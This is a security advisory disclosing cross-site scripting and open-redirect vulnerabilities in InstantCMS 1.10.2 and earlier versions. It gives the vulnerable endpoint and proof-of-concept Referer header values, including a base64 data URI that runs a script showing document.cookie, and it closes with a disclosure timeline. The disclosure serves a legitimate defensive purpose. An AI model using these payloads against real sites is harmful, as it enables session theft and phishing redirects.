XSS and Redirector vulnerabilities in InstantCMS

Hello 3APA3A!

These are Cross-Site Scripting and Redirector vulnerabilities in InstantCMS.

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Affected products:

Vulnerable are InstantCMS 1.10.2 and previous versions.

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Affected vendors:

InstantSoft
http://www.instantcms.ru

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Details:

Cross-Site Scripting (WASC-08):

GET request to http://site/modules/mod_template/set.php with setting Referer header.

Referer: data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Redirector (URL Redirector Abuse) (WASC-38):

GET request to http://site/modules/mod_template/set.php with setting Referer header.

Referer: http://websecurity.com.ua

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Timeline:

2013.07.14 - found multiple vulnerabilities in InstantCMS 1.10.1.
2013.07.17 - announced at my site.
2013.07.19 - informed developers about first part of the vulnerabilities. Ignored.
2013.07.31 - informed developers about another part of the vulnerabilities. Answered, but refused to fix.
2013.08.02 - reminded developers about first letter with holes and explained why to fix them.
2013.08.02 - developers released InstantCMS 1.10.2 without fixing any informed vulnerabilities. Both above-mentioned holes work in it.
2013.09.17 - disclosed at my site (http://websecurity.com.ua/6661/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua